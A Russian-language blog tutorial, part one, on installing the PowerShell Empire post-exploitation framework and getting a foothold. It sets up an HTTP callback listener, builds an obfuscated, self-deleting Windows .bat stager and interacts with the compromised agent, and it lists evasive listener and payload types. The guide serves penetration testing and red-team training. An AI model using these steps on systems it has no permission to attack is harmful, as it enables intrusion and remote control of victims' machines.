Установка и использование фреймворка PowerShell Empire. Часть 1
Life-Hack [Жизнь-Взлом]/ХакингМногие слышали про Empire — инструмент постэксплуатации Windows, Linux и macOS. В статье я затрону все аспекты работы с ним, а также расскажу, какие именно функции фреймворка мы часто используем на практике. И даже если вы опытный пентестер или редтимер, я думаю, вы отметите для себя что-то новое и полезное.
Оригинальный проект PowerShell Empire уже давно не поддерживается, так что речь пойдет о его форке от BC-SECURITY. Этот форк продолжает развиваться и обновляться.
Установка Empire
Если вы используете Kali Linux, то для установки этого чудо-фреймворка потребуется выполнить всего лишь одну команду:
sudo apt install powershell-empire
Если на вашем компьютере другая операционная система, нужно скачать файлы проекта и установить их вручную.
git clone https://github.com/BC-SECURITY/Empire.git cd Empire sudo ./setup/install.sh
Собственно, все: фреймворк Empire установлен в вашей системе.
Получение точки опоры
Перед тем как мы рассмотрим сам программный комплекс, давайте разберемся со следующими понятиями:
- Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;
- Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;
- Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;
- Module — код, выполняемый Agent’ом для достижения определенных целей.
Запустим Empire командой powershell-empire. Вы увидите такое окно.

Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).
Listener

Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.
Сейчас у нас нет активных листенеров. Создать его можно командой uselistener, но давайте посмотрим, какие типы листенеров нам может предложить Empire.
uselistener <TAB>
Поясню, что здесь что:
- dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);
- http — обычный HTTP/HTTPS-листенер;
- http_com — HTTP/HTTPS-листенер, использующий объект IE COM;
- http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;
- http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);
- http_mapi — HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;
- meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;
- onedrive — onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)
- redirector — инструмент для перехода от одного агента к другому.
С типами листенеров разобрались, а теперь давайте посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).
uselistener http


Получить справку по выбранному листенеру можно командой nfo.
Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.
set Name l1 set Host http://192.168.6.1 set Port 4321


И запустим листенер командой execute.

Теперь в интерфейсе listeners мы наблюдаем только что запущенный листенер.
Переходим ко второй стадии.
Stager

Давайте по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.
Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:
- bash — обычный Bash-скрипт;
- launcher — так называемый one-liner-код на определенном скриптовом языке;
- macro — макрос для офисных приложений;
- pyinstaller — ELF-файл, собранный с помощью PyInstaller;
- war — просто набор байтов для модернизации нагрузки;
- applescript — файл AppleScript;
- application — файл Application;
- ducky — так называемый скрипт Rubber Ducky;
- dylib — динамическая библиотека macOS;
- jar — нагрузка в JAR-формате;
- machomacOS — офисный макрос для macOS;
- pkg — установщик PKG (должен быть скопирован в директорию /Applications);
- safari_launcher — HTML-нагрузка;
- shellcode — обычный Windows-шелл;
- teensy — Teensy-скрипт;
- backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;
- bunny — скрипт Bash bunny;
- csharp_exe — приложение PowerShell/C#;
- dll — нагрузка в виде DLL;
- hta — HTA-нагрузка для IE;
- macroless_msword — документ macroless;
- wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).

Давайте выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.

Как и в случае с листенером, посмотрим параметры командой info.
Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давайте укажем листенер и путь к итоговому файлу, после чего создадим stager.
set Listener l1 set OutFile /home/ralf/tmp/l1.bat execute

Файл с нагрузкой создан по указанному пути.
Agent

Нам нужно выполнить bat-файл на целевом хосте. Вы увидите сообщение о подключении.

Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.
Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact).
rename LVKP4HN3 al1 interact al1

Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.
Продолжение следует...